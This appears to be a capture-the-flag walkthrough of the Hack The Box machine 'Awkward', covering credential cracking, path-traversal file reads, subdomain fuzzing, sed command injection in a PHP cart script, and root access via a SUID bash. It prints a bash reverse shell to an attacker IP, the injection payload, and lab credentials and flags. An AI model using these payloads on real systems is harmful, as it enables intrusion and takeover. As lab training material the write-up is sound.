0xc0rvu5.github.io

View on GitHub

Let’s add awkward to /etc/hosts

echo "10.10.11.185	awkward.htb" | sudo tee -a /etc/hosts

image

image

Let’s check with hashid or hash-identifier for the hash type.

hashid 6529fc6e43f9061ff4eaa806b087b13747fbe8ae0abfd396a5c4cb97c5941649

image

image

image

cat chris

Christopher Jones
python namemash.py chris > chris.txt
cat chris.txt

christopherjones
joneschristopher
christopher.jones
jones.christopher
jonesc
cjones
jchristopher
c.jones
j.christopher
christopher
jones
christopher.jones:chris123
wget https://raw.githubusercontent.com/Sjord/jwtcrack/master/jwt2john.py
chmod 700 jwt2john.py

image

image

image

image

Here is a convenient bash script that can be used to paste the cookie into then you can choose a path to output the content.

image

cat awkward_etc_passwd.txt | grep /bin/bash

root:x:0:0:root:/root:/bin/bash
bean:x:1001:1001:,,,:/home/bean:/bin/bash
christine:x:1002:1002:,,,:/home/christine:/bin/bash
bat awkward_bean_bashrc.txt

  95   │ # custom
  96   │ alias backup_home='/bin/bash /home/bean/Documents/backup_home.sh'
cat awkward_bean_backup_home_sh.txt                                                                                                                                                                     

#!/bin/bash
mkdir /home/bean/Documents/backup_tmp
cd /home/bean
tar --exclude='.npm' --exclude='.cache' --exclude='.vscode' -czvf /home/bean/Documents/backup_tmp/bean_backup.tar.gz .
date > /home/bean/Documents/backup_tmp/time.txt
cd /home/bean/Documents/backup_tmp
tar -czvf /home/bean/Documents/backup/bean_backup_final.tar.gz .
rm -r /home/bean/Documents/backup_tmp
mkdir bean; mv bean_backup_final.tar.gz bean; cd bean
tar xvf bean_backup_final.tar.gz
tar xvf bean_backup.tar.gz
./.config/xpad/
cat content-DS1ZS1                                                                                                                                                                            

TO DO:
- Get real hat prices / stock from Christine
- Implement more secure hashing mechanism for HR system
- Setup better confirmation message when adding item to cart
- Add support for item quantity > 1
- Implement checkout system

boldHR SYSTEM/bold
bean.hill
014mrbeanrules!#P

https://www.slac.stanford.edu/slac/www/resource/how-to-use/cgi-rexx/cgi-esc.html

boldMAKE SURE TO USE THIS EVERYWHERE ^^^/bold⏎ 
bean.hill:014mrbeanrules!#P

We can attempt to ssh:

ssh bean@hat-valley.htb
Password: 014mrbeanrules!#P
cat user.txt 
04a15632f8bed02d5e4f27ea17c870fa
store.hat-valley.htb
wfuzz -c -f hat-valley_wfuzz_out.txt -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt --hc 200 -H "Host: FUZZ.hat-valley.htb" -u "http://hat-valley.htb"

-c - Colorize the output. -f - This switch tells wfuzz to use a specific file containing a list of payloads to use in the fuzzing process. -u - This switch tells wfuzz to use a specific URL as the target for the fuzzing process. -w - This switch tells wfuzz to use a specific file containing a list of words to use as payloads in the fuzzing process. -H - This switch tells wfuzz to use specific headers to include in the HTTP requests made during the fuzzing process. --hc - Hide these response codes. image

10.10.11.185	hat-valley.htb store.hat-valley.htb

The second notable mention within the linpeas.sh output was the htpasswd file.

╔══════════╣ Analyzing Htpasswd Files (limit 70)
-rw-r--r-- 1 root root 44 Sep 15 22:34 /etc/nginx/conf.d/.htpasswd
admin:$apr1$lfvrwhqi$hd49MbBX3WNluMezyjWls1

image

cat test_hash 

$apr1$lfvrwhqi$hd49MbBX3WNluMezyjWls1

cat test 

014mrbeanrules!#P
hashcat -a 0 -m 1600 test_hash test
$apr1$lfvrwhqi$hd49MbBX3WNluMezyjWls1:014mrbeanrules!#P
cat README.md 
# Hat Valley - Shop Online!

### To Do
1. Waiting for SQL database to be setup, using offline files for now, will merge with database once it is setup
2. Implement checkout system, link with credit card system (Stripe??)
3. Implement shop filter
4. Get full catalogue of items

### How to Add New Catalogue Item
1. Copy an existing item from /product-details and paste it in the same folder, changing the name to reflect a new product ID
2. Change the fields to the appropriate values and save the file.  
-- NOTE: Please leave the header on first line! This is used to verify it as a valid Hat Valley product. --

### Hat Valley Cart
Right now, the user's cart is stored within /cart, and is named according to the user's session ID. All products are appended to the same file for each user.
To test cart functionality, create a new cart file and add items to it, and see how they are reflected on the store website!
cat -n cart_actions.php

	49	//delete from cart
    50	if ($_SERVER['REQUEST_METHOD'] === 'POST' && $_POST['action'] === 'delete_item' && $_POST['item'] && $_POST['user']) {
    51	    $item_id = $_POST['item'];
    52	    $user_id = $_POST['user'];
    53	    $bad_chars = array(";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#"); //no hacking allowed!!
    54	
    55	    foreach($bad_chars as $bad) {
    56	        if(strpos($item_id, $bad) !== FALSE) {
    57	            echo "Bad character detected!";
    58	            exit;
    59	        }
    60	    }
    61	
    62	    foreach($bad_chars as $bad) {
    63	        if(strpos($user_id, $bad) !== FALSE) {
    64	            echo "Bad character detected!";
    65	            exit;
    66	        }
    67	    }
    68	    if(checkValidItem("{$STORE_HOME}cart/{$user_id}")) {
    69	        system("sed -i '/item_id={$item_id}/d' {$STORE_HOME}cart/{$user_id}");
    70	        echo "Item removed from cart";
    71	    }
    72	    else {
    73	        echo "Invalid item";
    74	    }
    75	    exit;
    76	}

image

Let’s check BurpSuite for this one.

image

#!/bin/bash
bash -c 'exec bash -i &>/dev/tcp/10.10.16.34/4444 <&1'
chmod +x /tmp/quick.sh
nc -lvnp 444
***Hat Valley Cart***
item_id=1' -e "1e /tmp/quick.sh" /tmp/quick.sh '&item_name=Yellow Beanie&item_brand=Good Doggo&item_price=$39.90
item=1'+-e+"1e+/tmp/quick.sh"+/tmp/quick.sh+'&user=563c-f335-546-9e1f&action=delete_item

Hit send.

image

export TERM=xterm
══════════════════════════╣ Processes, Crons, Timers, Services and Sockets ╠══════════════════════════
                          ╚════════════════════════════════════════════════╝
╔══════════╣ Cleaned processes
╚ Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-unix/privilege-escalation#processes

root         997  0.0  0.0  18624  3500 ?        Ss   Jan20   0:00 /bin/bash /root/scripts/notify.sh
root        1017  0.0  0.0   2988  1252 ?        S    Jan20   0:00  _ inotifywait --quiet --monitor --event modify /var/www/private/leave_requests.csv
ls -ld /var/www/private

dr-xr-x--- 2 christine www-data 4096 Oct  6 01:35 /var/www/private
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
python -m http.server
wget http://10.10.16.34:8000/pspy64
chmod +x pspy64
./pspy64

image

#!/bin/bash
chmod +s /bin/bash
chmod +x /tmp/theway.sh
/bin/bash -p
cat /home/bean/user.txt 

04a15632f8bed02d5e4f27ea17c870fa

cat /root/root.txt 

59cd607b9a118ca92314b57e3167fe66

image

#hacking